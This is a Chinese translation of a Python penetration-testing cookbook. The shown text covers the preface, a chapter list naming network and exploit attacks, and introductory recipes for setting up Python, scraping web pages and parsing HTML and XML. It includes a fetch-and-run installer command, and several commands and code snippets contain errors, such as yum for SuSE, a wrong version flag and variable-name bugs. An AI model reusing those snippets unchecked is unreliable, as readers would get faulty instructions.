Python 渗透测试秘籍(全)
原文:
annas-archive.org/md5/A471ED08BCFF5C02AB69EE891B13A9E1
译者:飞龙
前言
Python 是一种动态但解释性语言,属于高级编程语言。凭借其清晰的语法和丰富的库,它被用作通用语言。基于 Python 的解释性质,它经常被视为一种脚本语言。Python 在信息安全领域占主导地位,因为它不太复杂,拥有无限的库和第三方模块。安全专家更倾向于使用 Python 作为开发信息安全工具包的语言,例如 w3af、sqlmap 等。Python 的模块化设计和代码可读性使其成为安全研究人员和专家编写脚本和构建安全测试工具的首选语言。
包括模糊测试器、代理、扫描器甚至利用漏洞在内的信息安全工具都是用 Python 编写的。此外,Python 是当前几个开源渗透测试工具的语言,从用于内存分析的 volatility 到用于抽象化邮件检查过程的 libPST。对于信息安全研究人员来说,学习 Python 是正确的选择,因为有大量的逆向工程和利用库可供使用。因此,在需要扩展或调整这些工具的困难情况下,学习 Python 可能会对你有所帮助。
在本书中,我们将探讨安全研究人员如何使用这些工具和库来辅助他们的日常工作。接下来的页面将帮助你学习检测和利用各种类型的漏洞,同时增强你对无线应用和信息收集概念的了解。继续阅读,探索使用 Python 进行渗透测试的实用方法,构建高效的代码并节省时间。
本书涵盖内容
第一章,“渗透测试中为什么选择 Python?”,从 Python 在安全测试中的重要性开始,向读者展示如何配置基本环境。
第二章,“设置 Python 环境”,介绍了如何在不同操作系统中设置环境以开始使用它们进行渗透测试。
第三章,“使用 Python 进行网络抓取”,解码了如何使用 Python 脚本下载网页,并为你提供了网络抓取的基础知识,随后详细描述了如何使用正则表达式从下载的网页中获取信息,并且还介绍了如何请求和下载动态网站页面以爬取其中的数据。
第四章,“使用 Python 进行数据解析”,向你展示了如何使用 Python 模块解析 HTML 表格,从网站下载表格数据,并从 HTML 文档中提取数据,并使用脚本生成.csv/Excel 表格。
第五章,“使用 Scrapy 和 BeautifulSoup 进行网络抓取”,将教你如何使用 Python Scrapy 模块构建和运行网络爬虫来爬取网页。还将解释如何使用 Scrapy 的交互式 shell,在终端内快速尝试和调试你的抓取代码。它还涉及如何从 Scrapy 爬取的网页中提取链接,并使用这些链接获取网站上的更多页面。学习如何检测和遍历到其他页面的链接,并使用 Scrapy 模块从这些页面获取数据。
第六章,“使用 Python 进行网络扫描”,教授了如何创建一个扫描器来扫描 IP 的开放端口以获取详细信息,以及如何使用 Scapy 创建一个隐蔽扫描脚本。此外,还介绍了如何使用 Python 创建一个扫描一系列 IP 的脚本,以及如何使用 LanScan Python 3 模块来扫描网络。使用 LanScan,我们可以收集关于本地网络上的主机和设备的信息。
第七章,“使用 Python 进行网络嗅探”,是关于如何编写基本数据包嗅探器的详细指南,以及如何使用 Python 编写脚本来解析嗅探到的数据包,如何使用 Python 模块解析和格式化 MAC 地址,如何使用 Python 模块解码嗅探到的数据包,以及如何使用 Pyshark,一个 TShark 的 Python 封装。
第八章,“Scapy 基础”,介绍了如何使用 Scapy Python 模块创建数据包,以及如何使用 Scapy 发送数据包并接收答复。此外,还解释了如何编写脚本来从 pcap 文件中读取并使用 Scapy 模块进行写回。Scapy 主要是关于将协议层叠在一起以创建自定义数据包。本节将帮助读者更清晰地了解使用 Scapy 进行数据包层叠以及如何使用 Scapy 来嗅探网络数据包。
第九章,“Wi-Fi 嗅探”,介绍了如何使用 Python 模块编写脚本来扫描并获取可用的 Wi-Fi 设备列表。您还将学习如何使用 Python 模块编写脚本来查找隐藏的 Wi-Fi SSID,以及如何使用 Scapy 编写脚本来暴露隐藏的 SSID。此外,还介绍了如何使用 Scapy 编写脚本对隐藏的 Wi-Fi SSID 进行字典攻击,以及如何使用 Scapy 设置一个虚假的接入点。
第十章,“第 2 层攻击”,探讨了如何编写脚本来监视网络上所有新连接到特定网络的设备,并如何编写脚本来运行地址解析协议(ARP)缓存投毒攻击。您还将学习如何使用 Python Scapy 模块创建 MAC 洪水攻击的脚本,以及如何使用 Python 编写脚本来创建 VLAN 跳跃攻击。此外,我们还将介绍如何使用 Python 编写脚本来在 VLAN 跳跃中欺骗 ARP。
第十一章,“TCP/IP 攻击”,着重介绍了如何使用 Python 模块编写脚本来欺骗 IP 地址。您还将学习如何使用 Python 编写脚本来创建 SYN 洪水攻击,以及如何使用 Python 编写脚本来在局域网上嗅探密码。
第十二章,“漏洞开发简介”,将帮助您了解 CPU 寄存器及其重要性的基础知识,并解释内存转储技术以及 CPU 指令的基础知识。
第十三章,“Windows 漏洞开发”,将帮助您了解 Windows 内存布局的细节,这将有助于漏洞开发。您还将学习如何使用 Python 脚本进行缓冲区溢出攻击,并如何使用 Python 编写脚本来利用结构化异常处理(SEH)。此外,我们将详细了解如何使用 Python 编写脚本来利用 Egg Hunters 来攻击 Windows 应用程序。
第十四章,“Linux 漏洞开发”,解释了如何使用 Python 编写脚本来运行 Linux 格式字符串漏洞,以及如何在 Linux 环境中利用缓冲区溢出。
本书所需内容
基本上,需要安装 Python 的计算机。可以使用虚拟机来模拟易受攻击的机器和进行测试。
本书适合谁
这本书非常适合那些熟悉 Python 或类似语言,并且不需要基本编程概念的帮助,但希望了解渗透测试的基础知识和渗透测试人员面临的问题的人。
章节
在本书中,您会发现一些经常出现的标题(准备工作和操作步骤)。为了清晰地说明如何完成食谱,我们使用这些部分如下:
准备工作
本节告诉您在食谱中可以期待什么,并描述了为食谱设置任何软件或任何先决设置所需的方法。
操作步骤…
本节包含按照食谱所需的步骤。
约定
在本书中,您会发现许多文本样式,用于区分不同类型的信息。以下是一些样式的示例及其含义解释。文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名显示如下:“它将被提取到Python-3.6.2
文件夹中”
代码块设置如下:
import urllib.request
import urllib.parse
import re
from os.path import basename
任何命令行输入或输出都是这样写的:
$ sudo apt-get install python
新术语和重要单词以粗体显示。例如,屏幕上看到的单词,例如菜单或对话框中的单词,会以这种方式出现在文本中:“这将显示一个选项 Package Control: Install Package。”
警告或重要提示会显示如下。
提示和技巧会显示如下。
第一章:为什么要在渗透测试中使用 Python?
在本章中,我们将涵盖以下内容:
-
为什么 Python 是安全脚本的绝佳选择
-
Python 3 语言基础知识和差异
介绍
深入研究 Python 及其模块在安全脚本编写中的用途之前,我们需要了解一下语言基础知识和不同版本。此外,如果我们能了解一下为什么 Python 是安全脚本的绝佳选择,那就太好了。
为什么 Python 是安全脚本的绝佳选择
在大规模安全攻击和泄露之后,安全/渗透测试在质量领域日益受到重视。作为编程领域中的一种流行语言,从过去几年出版的工具、书籍和脚本来看,Python 已经成为安全研究人员和黑客最喜欢的脚本语言。
准备就绪
尽管网络和应用程序安全充斥着许多自动化和半自动化测试工具,但并不总能保证成功。工具和脚本的改进是渗透测试的关键,总会有一些任务需要自动化或以其他方式完成。成为成功的现实世界渗透测试人员涉及许多自定义脚本和编程任务。
如何做...
这些是 Python 在安全脚本和编程中受欢迎的主要原因。
Python 可以以解释和编译形式使用
Python 程序可以在任何需要编译的情况下编译,并且不需要频繁更改。这将使 Python 程序运行得更快,并提供更好的机会来消除漏洞和错误。此外,解释程序比编译程序运行得慢得多,并且更容易受到漏洞和攻击的影响。
Python 代码不使用编译器,可以在几乎任何运行 Python shell 的设备上运行。此外,它与脚本语言有一些其他相似之处。因此,Python 可以用于执行脚本语言的功能。
语法和缩进布局
Python 的语法和缩进布局使得在审查程序时很容易弄清楚发生了什么。缩进还使程序更易读,并有助于使协作编程更容易。
简单的学习曲线
学习一门新的编程语言总是一项艰巨的任务。但 Python 的设计是为了让即使是初学者程序员也能轻松学会。Python 之所以得到程序员的广泛接受,主要是因为它易于学习,并且其设计理念强调代码的可读性,这将帮助初学者开发人员通过阅读代码本身学到很多东西。此外,Python 的读取评估打印循环(REPL)为开发人员提供了一个机会来玩弄代码并进行实验。标准的 Python 库保留了许多功能,我们可以轻松地执行复杂的功能。
强大的第三方库
一旦学会了 Python,你就可以利用支持大量库的平台。Python 软件包索引(PyPI)是一个存储库,其中包含超过 85,000 个可重用的 Python 模块和脚本,你可以在你的脚本中使用。Python 是安全研究人员学习的最佳语言,因为它拥有大量的逆向工程和利用库。
跨平台(随处编码)
Python 可以在 Linux、Microsoft Windows、macOS X 和许多其他操作系统和设备上运行。在 macOS X 计算机上编写的 Python 程序将在 Linux 系统上运行,反之亦然。此外,只要计算机安装了 Python 解释器,Python 程序就可以在 Microsoft Windows 计算机上运行。
Python 3 语言基础知识和差异
Python 3.0 首次发布于 2008 年。尽管 Python 3 被认为与旧版本不兼容,但许多其特性都被移植以支持旧版本。了解 Python 版本及其差异有助于更好地理解我们的配方。
准备就绪
如果您是 Python 的新手,可能会对可用的不同版本感到困惑。在进一步了解细节之前,让我们先看一下 Python 的最新主要版本以及 Python 2 和 Python 3 之间的主要区别。
如何做...
这些是主要的 Python 版本。
Python 2
2000 年末发布,它具有许多更多的编程功能,包括帮助自动化内存管理的循环检测垃圾收集器。增加的 unicode 支持有助于标准化字符,列表推导有助于基于现有列表创建列表等其他功能。在 Python 版本 2.2 中,类型和类被合并为一个层次结构。
Python 3
Python 3 于 2008 年末发布,以更新和修复先前版本 Python 的内置设计缺陷。Python 3 开发的主要重点是清理代码库并减少冗余。
起初,由于与 Python 2 的不兼容性,Python 3 的采用过程非常缓慢。此外,许多软件包库仅适用于 Python 2。后来,随着开发团队宣布将终止对 Python 2 的支持,并且更多的库已被移植或迁移到 Python 3,Python 3 的采用率有所增加。
Python 2.7
Python 2.7 于 2010 年发布,并计划作为 2.x 版本的最后一个版本。其目的是通过提供两者之间的兼容性来使 Python 2.x 用户更容易将其功能和库移植到 Python 3,其中包括支持测试自动化的单元测试,用于解析命令行选项的 argparse,以及更方便的 collections 类。
Python 2.7 和 Python 3 之间的主要区别
以下是 Python 2.x 和 Python 3 之间的一些主要区别:
-
打印:在 Python 2 中,
print
是一个语句。因此,打印时无需用括号括起文本。但在 Python 3 中,print
是一个函数。因此,您必须将要打印的字符串传递给带括号的函数。 -
整数除法:Python 2 将小数点后没有任何数字的数字视为整数,这可能会导致在除法过程中出现一些意外的结果。
-
列表推导循环变量泄漏:在 Python 2 中,将列表推导中迭代的变量泄漏到周围范围,这个列表推导循环变量泄漏bug 已在 Python 3 中修复。
-
Unicode 字符串:Python 2 要求您使用u前缀显式标记 unicode 字符串。但是,Python 3 默认将字符串存储为 unicode。
-
引发异常:Python 3 需要不同的语法来引发异常。
从 Python 2.x 到 Python 3.x 的过渡正在缓慢进行,但正在进行中。要注意的是,Python 2.x 和 Python 3 之间存在实质性差异,因此您可能需要处理在您不太熟悉的版本中编写的代码。
第二章:设置 Python 环境
在本章中,我们将涵盖以下内容:
-
在 Linux 中设置 Python 环境
-
在 macOS 中设置 Python 环境
-
在 Windows 中设置 Python 环境
介绍
在本章中,我们将学习如何在您的计算机上设置 Python。除了 Windows 之外,大多数操作系统默认都安装了 Python 解释器。要检查 Python 解释器是否已安装,您可以打开一个命令行窗口,输入python
并按下Enter键--您将得到如下结果:
您可以从 Python 官方网站--www.python.org/
下载最新的 Python 二进制文件和源代码。
在 Linux 中设置 Python 环境
让我们逐步了解如何在 Linux 系统上设置 Python 环境。首先,我们可以学习如何安装 Python,如果它不是默认安装的。
准备工作
由于我们在不同风味的 Linux 发行版中有许多包管理器,如apt
/apt-get
和dpkg
。对于基于 Debian 的发行版,如 Ubuntu,yum
(Yellowdog)适用于 CentOS/RHEL,zypper
和yast
适用于 SuSE Linux,这些包管理器将帮助我们在 Linux 发行版中轻松安装 Python。有了这个,你只需发出一个命令,包管理器就会搜索所需的包及其依赖项,下载这些包,并将它们安装在你的系统中。
如何做…
首先,您必须在系统上安装 Python。
安装 Python
- 如果您使用的是基于 Debian 的发行版,如 Ubuntu,您可以使用以下命令安装 Python:
$ sudo apt-get install python
如果您的系统运行 CentOS/RHEL,请使用以下命令安装 Python:
$ sudo yum install python
如果是 SuSE Linux 发行版,请使用以下命令安装 Python:
$ sudo yum install python
- 在终端中使用以下命令检查已安装的 Python 解释器的版本:
$ python -version
这将打印当前安装的 Python 版本。
- 如果您想安装特定版本的 Python,我们可以从
www.python.org/
网站下载 Python 源代码并手动安装。为此,您可以从www.python.org/ftp/python/
下载所需的源存档。
您可以使用以下命令下载;确保用您需要的版本号替换版本号:
$ wget https://www.python.org/ftp/python/3.6.2/Python-3.6.2.tgz
- 然后,我们必须使用以下命令提取下载的存档:
$ tar -xvzf Python-3.6.2.tgz
它将被提取到一个Python-3.6.2
文件夹中。
- 现在您可以配置、构建和安装 Python,为此您需要在系统上安装 C 编译器。如果没有安装,您可以按照以下步骤进行:
-
- 对于 Debian/Ubuntu:
$ sudo apt-get install gcc
-
- 对于 CentOs/RHEL:
$ yum install gcc
然后,您可以运行 configure 来配置构建,然后使用make altinstall
命令安装构建:
$ cd Python-3.6.2
$ ./configure --prefix=/usr/local
$ make altinstall
安装后,您可以看到系统上安装的 Python 的两个版本,并且您可以选择在运行脚本时使用哪个版本。
建立虚拟环境
现在您可以学习设置一个虚拟环境,这将帮助您设置一个隔离的脚本环境。这将帮助我们将不同项目所需的依赖项保持在不同的位置。此外,它有助于保持全局 site-packages 干净,并与项目依赖项分开:
- 您可以使用
pip
在系统中安装虚拟环境模块:
$ pip install virtualenv
- 然后使用以下命令测试安装:
$ virtualenv --version
- 尝试在
project
文件夹内创建一个新的虚拟环境:
$ mkdir new-project-folder
$ cd new-project-folder
$ virtualenv new-project
这将在当前目录中创建一个名为new-project
的文件夹。
如果您想要使用您选择的 Python 解释器创建一个虚拟环境,如下所示:
$ virtualenv -p /usr/bin/python3 new-project
- 您可以使用以下命令激活这个虚拟环境:
$ source new-project/bin/activate
- 如果您在虚拟环境中完成了工作,可以使用以下命令停用并退出虚拟环境:
$ deactivate
- 我们可以使用
virtualenvwrapper
使其更简单。virtualenvwrapper
有助于将所有虚拟环境保存在一个地方。要安装virtualenvwrapper
,我们可以使用pip
命令:
$ pip install virtualenvwrapper
我们必须设置WORKON_HOME
变量,该变量是保存所有虚拟环境的文件夹:
$ export WORKON_HOME=~/Envs
$ source /usr/local/bin/virtualenvwrapper.sh
- 使用
virtualenvwrapper
,我们可以按以下方式创建项目:
$ mkvirtualenv new-project
这将在WORKON_HOME
内创建虚拟环境,即~/Envs
。
- 要激活创建的项目,我们可以使用以下命令:
$ workon new-project
- 更方便的是,我们可以使用以下单个命令创建虚拟环境和
project
文件夹:
$ mkproject new-project
- 最后,我们可以使用
deactivate
命令退出虚拟环境。
设置编辑器或 IDE
最后,您需要一个文本编辑器或 IDE 来编辑脚本。由于 Python 程序只是我们可以直接编辑的文本文件,如果您没有喜欢的文本编辑器,sublime text3是一个不错的选择:
-
要安装 sublime text3,您可以从
www.sublimetext.com/3
下载最新版本。 -
您可以使用以下命令从命令行安装 sublime text3:
$ sudo add-apt-repository ppa:webupd8team/sublime-text-3
$ sudo apt-get update
$ sudo apt-get install sublime-text-installer
- 如果您可以为 sublime text3 安装
Anaconda
软件包,那将更好。要安装它,请使用键盘快捷键Ctrl +Shift + P,然后输入install
。这将显示一个选项 Package Control: Install Package。
- 选择此选项并搜索软件包
Anaconda
。选择要安装的软件包。
在 macOS 中设置 Python 环境
同样,在 Linux 环境中,macOS 也默认安装了 Python。但是,您需要了解基本的安装步骤,因为这将有助于更新和重新安装。
准备就绪
首先,如果您尚未安装 Xcode,请从 App Store 安装 Xcode。然后使用以下命令更新命令行工具:
$ xcode-select --install
此外,我们还需要安装Homebrew
,这是 macOS 的软件包管理器,为此打开终端并输入以下命令:
$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
如何做...
现在,您可以使用Homebrew
软件包管理器在 macOS 中安装 Python。
安装 Python
- 搜索
Homebrew
以查找可以安装的选项:
$ brew search python
这将得到以下结果:
- 要安装 Python 3,可以运行以下命令:
$ brew install python3
随着 Python 3 一起,brew
将安装pip3
和setuptools
。
-
要设置虚拟环境和
virtualenvwrapper
,您可以按照我们在 Linux 环境中所做的相同步骤。 -
要安装 sublime text3,从
www.sublimetext.com/3
获取软件包并运行安装程序。配置 Sublime text 3 的其他所有内容与 Linux 环境中的相同。
在 Windows 中设置 Python 环境
在 Windows 中,默认情况下未安装 Python 解释器。因此,我们必须下载并安装 Python。
如何做...
我们可以从官方网站下载 Python 并在系统中安装它。执行以下步骤:
-
转到 Python 的官方网站(
python.org/download/
)并下载最新版本的 Windows MSI 安装程序。 -
运行安装程序。
-
您可以选择安装启动器供所有用户(推荐),然后单击立即安装以完成安装。
- 安装完成后,最好将您的版本的默认 Python 目录添加到
PATH
中。
如果您已将 Python 安装在C:\Python36\
中,则应将以下目录添加到您的PATH
--C:\Python36\;C:\Python36\Scripts\
。
为此,请转到我的电脑 | 属性 | 高级系统设置 | 环境变量,并编辑PATH
变量以添加新目录。
-
现在,您可以像为其他环境安装一样安装虚拟环境和
virtualenvwrapper
。 -
此外,您还可以下载并安装 sublime text 3 作为编辑器。
第三章:使用 Python 进行 Web 抓取
在本章中,我们将涵盖以下配方:
-
使用 Python 脚本下载网页
-
更改用户代理
-
下载文件
-
使用正则表达式从下载的网页中获取信息
-
请求和下载动态网站页面
-
动态 GET 请求
介绍
Web 抓取是自动从 Web 中提取数据并以便于您轻松分析或利用的格式的过程。urllib
Python 模块帮助您从 Web 服务器下载数据。
使用 Python 脚本下载网页
要从 Web 服务器下载网页,可以使用标准 Python 库的一部分的urllib
模块。urllib
包括用于从 URL 检索数据的函数。
准备就绪
要了解基础知识,我们可以使用 Python 交互式终端。在终端窗口中输入python
并按Enter。这将打开 Python(Python 2.x)交互式终端。
如何做...
在 Python 2.x 和 Python 3.x 中执行此操作的命令存在一些差异,主要是print
语句。因此,请注意语法上的差异。这将有助于我们即将介绍的配方。
使用 Python 2
- 首先,导入所需的模块
urllib
:
>>> import urllib
- 使用
urlopen
方法,您可以下载网页:
>>> webpage = urllib.urlopen("https://www.packtpub.com/")
- 我们可以使用
read
方法像返回对象一样读取文件:
>>> source = webpage.read()
- 完成后关闭对象:
>>> webpage.close()
- 现在我们可以打印 HTML,它是以字符串格式存在的:
>>> print source
- 更新程序以将源字符串的内容写入计算机上的本地文件非常容易:
>>> f = open('packtpub-home.html', 'w')
>>> f.write(source)
>>> f.close
使用 Python 3
在 Python 3 中,urllib
和urllib2
都是urllib
模块的一部分,因此在使用urllib
时存在一些差异。此外,urllib
包含以下模块:
-
urllib.request
-
urllib.error
-
urllib.parse
-
urllib.robotparser
urllib.request
模块用于在 Python 3 中打开和获取 URL:
- 首先从
urllib
包中导入urllib.request
模块:
>>> import urllib.request
- 使用
urlopen
方法获取网页:
>>> webpage = urllib.request.urlopen("https://www.packtpub.com/")
- 使用
read
方法读取对象:
>>> source = webpage.read()
- 关闭对象:
>>> webpage.close()
- 打印源码:
>>> print(source)
- 您可以将源字符串的内容写入计算机上的本地文件,如下所示。确保输出文件处于二进制模式:
>>> f = open('packtpub-home.html', 'wb')
>>> f.write(source)
>>> f.close
Python 2 模块urllib
和urllib2
帮助执行与 URL 请求相关的操作,但两者具有不同的功能。
urllib
提供了urlencode
方法,用于生成GET
请求。但是,urllib2
不支持urlencode
方法。此外,urllib2
可以接受请求对象并修改 URL 请求的标头,但urllib
只能接受 URL,并且无法修改其中的标头。
更改用户代理
许多网站使用用户代理字符串来识别浏览器并相应地提供服务。由于我们使用urllib
访问网站,它不会识别此用户代理并可能以奇怪的方式行事或失败。因此,在这种情况下,我们可以为我们的请求指定用户代理。
如何做...
我们在请求中使用自定义用户代理字符串如下:
- 首先,导入所需的模块:
>>> import urllib.request
- 然后定义我们计划为请求指定的用户代理:
>>> user_agent = ' Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0'
- 为请求设置标头:
>>> headers = {'User-Agent': user_agent}
- 创建请求如下:
>>> request = urllib.request.Request("https://www.packtpub.com/", headers=headers)
- 使用
urlopen
请求网页:
>>> with urllib.request.urlopen(request) as response:
... with open('with_new_user_agent.html', 'wb') as out:
... out.write(response.read())
下载文件
我们可以利用requests
Python 模块下载文件。requests
模块是 Python 中一个简单易用的 HTTP 库,具有各种应用。此外,它有助于与 Web 服务建立无缝的交互。
准备就绪
首先,您必须安装requests
库。可以通过输入以下命令使用pip
来完成:
pip install requests
如何做...
让我们尝试使用requests
模块下载一个简单的图像文件。打开 Python 2:
- 像往常一样,首先导入
requests
库:
>>> import requests
- 通过将 URL 传递给
get
方法创建 HTTP 响应对象:
>>> response = requests.get("https://rejahrehim.com/images/me/rejah.png")
- 现在将 HTTP 请求发送到服务器并将其保存到文件中:
>>> with open("me.png",'wb') as file:
... file.write(response.content)
如果是一个大文件,response.``content
将是一个大字符串,无法将所有数据保存在一个字符串中。在这里,我们使用iter_content
方法以块的方式加载数据。
- 在这里,我们可以创建一个 HTTP 响应对象作为
stream
:
response = requests.get("https://rejahrehim.com/images/me/rejah.png", stream = True)
- 然后,发送请求并使用以下命令保存文件:
>>> with open("me.png",'wb') as file:
... for chunk in response.iter_content(chunk_size=1024):
... if chunk:
... file.write(chunk)
这将在 Python 3 中起作用。还要确保在 Python 3 环境中安装所需的库。
使用正则表达式从下载的网页中获取信息
正则表达式(re)模块有助于从下载的网页中找到特定的文本模式。正则表达式可用于解析网页中的数据。
例如,我们可以尝试使用正则表达式模块下载网页中的所有图像。
如何做...
为此,我们可以编写一个 Python 脚本,可以下载网页中的所有 JPG 图像:
-
在您的工作目录中创建一个名为
download_image.py
的文件。 -
在文本编辑器中打开此文件。您可以使用 sublime text3。
-
像往常一样,导入所需的模块:
import urllib2
import re
from os.path import basename
from urlparse import urlsplit
- 像在上一个配方中那样下载网页:
url='https://www.packtpub.com/'
response = urllib2.urlopen(url)
source = response.read()
file = open("packtpub.txt", "w")
file.write(source)
file.close()
- 现在,迭代下载的网页中的每一行,搜索图像 URL,并下载它们:
patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))'
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
fileName = basename(urlsplit(m[1])[2])
try:
img = urllib2.urlopen('https:' + m[1]).read()
file = open(fileName, "w")
file.write(img)
file.close()
except:
pass
break
第一个for 循环迭代下载的网页中的行。第二个for 循环使用正则表达式模式搜索每一行的图像 URL。
如果找到模式,则使用urlparse
模块中的urlsplit()
方法提取图像的文件名。然后,我们下载图像并将其保存到本地系统。
相同的脚本可以以最小的更改重写为 Python 3:
import urllib.request
import urllib.parse
import re
from os.path import basename
url = 'https://www.packtpub.com/'
response = urllib.request.urlopen(url)
source = response.read()
file = open("packtpub.txt", "wb")
file.write(source)
file.close()
patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))'
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
print('https:' + m[1])
fileName = basename(urllib.parse.urlsplit(m[1])[2])
print(fileName)
try:
img = urllib.request.urlopen('https:' + m[1]).read()
file = open(fileName, "wb")
file.write(img)
file.close()
except:
pass
break
在 Python 3 中,请求和urlparse
模块与urllib
组合为urllib.request
和urllib.parse
。使用正则表达式模式,我们可以解析网页的许多有用信息。
您可以在docs.python.org/3.7/library/re.html
了解更多关于正则表达式模块的信息。
请求和下载动态网站页面
对于具有表单或接收用户输入的网站,我们必须提交GET
请求或POST
请求。现在让我们尝试使用 Python 创建GET
请求和POST
请求。查询字符串是向 URL 添加键值对的方法。
转义无效字符
在上一个配方中,如果我们在最后一步中删除 try catch 块,会发生什么?
patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))'
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
fileName = basename(urlsplit(m[1])[2])
img = urllib2.urlopen('https:' + m[1]).read()
file = open(fileName, "w")
file.write(img)
file.close()
break
由于 URL 格式错误,脚本将在几次请求后失败。URL 中出现了一些额外的字符,这导致了urllib
请求失败。
如何做...
不可能记住哪些字符是无效的,并手动用百分号转义它们,但内置的 Python 模块urllib.parse
具有解决此问题所需的方法。
现在我们可以尝试通过转义/URL 编码请求来修复这个问题。将脚本重写如下:
patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))'
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
print('https:' + m[1])
fileName = basename(urllib.parse.urlsplit(m[1])[2])
print(fileName)
request = 'https:' + urllib.parse.quote(m[1])
img = urllib.request.urlopen(request).read()
file = open(fileName, "wb")
file.write(img)
file.close()
break
动态 GET 请求
现在我们知道,只要有 URL,Python 就可以以编程方式下载网站。如果我们必须下载多个页面,这些页面只有查询字符串不同,那么我们可以编写一个脚本来做到这一点,而不是反复运行脚本,而是在一次运行中下载我们需要的所有内容。
如何做...
查看此 URL- www.packtpub.com/all?search=&offset=12&rows=&sort=
。在这里,定义页面号(*offset**)的查询字符串变量是 12 的倍数:
要下载所有这些页面中的所有图像,我们可以将前一个配方重写如下:
- 导入所需的模块:
import urllib.request
import urllib.parse
import re
from os.path import basename
- 定义 URL 和查询字符串:
url = 'https://www.packtpub.com/'
queryString = 'all?search=&offset='
- 通过 12 的倍数迭代偏移量:
for i in range(0, 200, 12):
query = queryString + str(i)
url += query
print(url)
response = urllib.request.urlopen(url)
source = response.read()
file = open("packtpub.txt", "wb")
file.write(source)
file.close()
patten = '(http)?s?:?(\/\/[^"]*\.(?:png|jpg|jpeg|gif|png|svg))'
for line in open('packtpub.txt'):
for m in re.findall(patten, line):
print('https:' + m[1])
fileName = basename(urllib.parse.urlsplit(m[1])[2])
print(fileName)
request = 'https:' + urllib.parse.quote(m[1])
img = urllib.request.urlopen(request).read()
file = open(fileName, "wb")
file.write(img)
file.close()
break
第四章:使用 Python 进行数据解析
在本章中,我们将涵盖以下示例:
-
解析 HTML 表格
-
从 HTML 文档中提取数据
-
解析 XML 数据
介绍
由于我们已经在之前的示例中下载了网页,现在我们可以讨论如何处理这些文件并解析它们以获取所需的信息。
解析 HTML 表格
从服务器下载 HTML 页面后,我们必须从中提取所需的数据。Python 中有许多模块可以帮助我们做到这一点。在这里,我们可以使用 Python 包BeautifulSoup
。
准备工作
和往常一样,确保你安装了所有必需的包。对于这个脚本,我们需要BeautifulSoup
和pandas
。你可以使用pip
安装它们:
pip install bs4
pip install pandas
pandas
是 Python 中的一个开源数据分析库。
操作步骤...
我们可以从下载的页面中解析 HTML 表格,如下所示:
- 和往常一样,我们必须导入脚本所需的模块。在这里,我们导入
BeautifulSoup
来解析 HTML 和pandas
来处理解析的数据。此外,我们还必须导入urllib
模块以从服务器获取网页:
import urllib2
import pandas as pd
from bs4 import BeautifulSoup
- 现在我们可以从服务器获取 HTML 页面;为此,我们可以使用
urllib
模块:
url = "https://www.w3schools.com/html/html_tables.asp"
try:
page = urllib2.urlopen(url)
except Exception as e:
print e
pass
- 然后,我们可以使用
BeautifulSoup
来解析 HTML 并从中获取table
:
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
在这里,它将获取网页上的第一个表格。
- 现在我们可以使用
pandas
库为表格创建一个DataFrame
:
new_table = pd.DataFrame(columns=['Company', 'Contact', 'Country'], index=range(0, 7))
这将创建一个具有三列和六行的DataFrame
。列将显示公司名称、联系方式和国家。
- 现在我们必须解析数据并将其添加到
DataFrame
中:
row_number = 0
for row in table.find_all('tr'):
column_number = 0
columns = row.find_all('td')
for column in columns:
new_table.iat[row_number, columns_number] = column.get_text()
columns_number += 1
row_number += 1
print new_table
这将打印DataFrame
。
DataFrame
是一个二维的、带标签的数据结构,具有可能不同类型的列。它更像是dict
的系列对象。
- 这个脚本可以在 Python 3 中运行,需要做一些更改,如下所示:
import urllib.request
import pandas as pd
from bs4 import BeautifulSoup
url = "https://www.w3schools.com/html/html_tables.asp"
try:
page = urllib.request.urlopen(url)
except Exception as e:
print(e)
pass
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
new_table = pd.DataFrame(columns=['Company', 'Contact', 'Country'], index=range(0, 7))
row_number = 0
for row in table.find_all('tr'):
column_number = 0
columns = row.find_all('td')
for column in columns:
new_table.iat[row_number, column_number] = column.get_text()
column_number += 1
row_number += 1
print(new_table)
主要的更改是对urllib
模块和print
语句的修改。
你可以在pandas.pydata.org/pandas-docs/stable/
了解更多关于pandas
数据分析工具包的信息。
从 HTML 文档中提取数据
我们可以使用pandas
库将解析的数据提取到.csv 或 Excel 格式。
准备工作
要使用pandas
模块中导出解析数据到 Excel 的函数,我们需要另一个依赖模块openpyxl
,所以请确保你使用pip
安装了openpyxl
:
pip install openpyxl
操作步骤...
我们可以将数据从 HTML 提取到.csv 或 Excel 文档中,如下所示:
- 要创建一个.csv 文件,我们可以使用
pandas
中的to_csv()
方法。我们可以将上一个示例重写如下:
import urllib.request
import pandas as pd
from bs4 import BeautifulSoup
url = "https://www.w3schools.com/html/html_tables.asp"
try:
page = urllib.request.urlopen(url)
except Exception as e:
print(e)
pass
soup = BeautifulSoup(page, "html.parser")
table = soup.find_all('table')[0]
new_table = pd.DataFrame(columns=['Company', 'Contact', 'Country'], index=range(0, 7))
row_number = 0
for row in table.find_all('tr'):
column_number = 0
columns = row.find_all('td')
for column in columns:
new_table.iat[row_number, column_number] = column.get_text()
column_number += 1
row_number += 1
new_table.to_csv('table.csv')
这将创建一个名为table.csv
的.csv 文件。
- 同样地,我们可以使用
to_excel()
方法将数据导出到 Excel。
将上一个脚本的最后一行改为以下内容:
new_table.to_excel('table.xlsx')
解析 XML 数据
有时,我们会从服务器得到一个 XML 响应,我们需要解析 XML 以提取数据。我们可以使用xml.etree.ElementTree
模块来解析 XML 文件。
准备工作
我们必须安装所需的模块,xml
:
pip install xml
操作步骤...
以下是我们如何使用 XML 模块解析 XML 数据:
- 首先导入所需的模块。由于这个脚本是在 Python 3 中,确保你导入了正确的模块:
from urllib.request import urlopen
from xml.etree.ElementTree import parse
- 现在使用
urllib
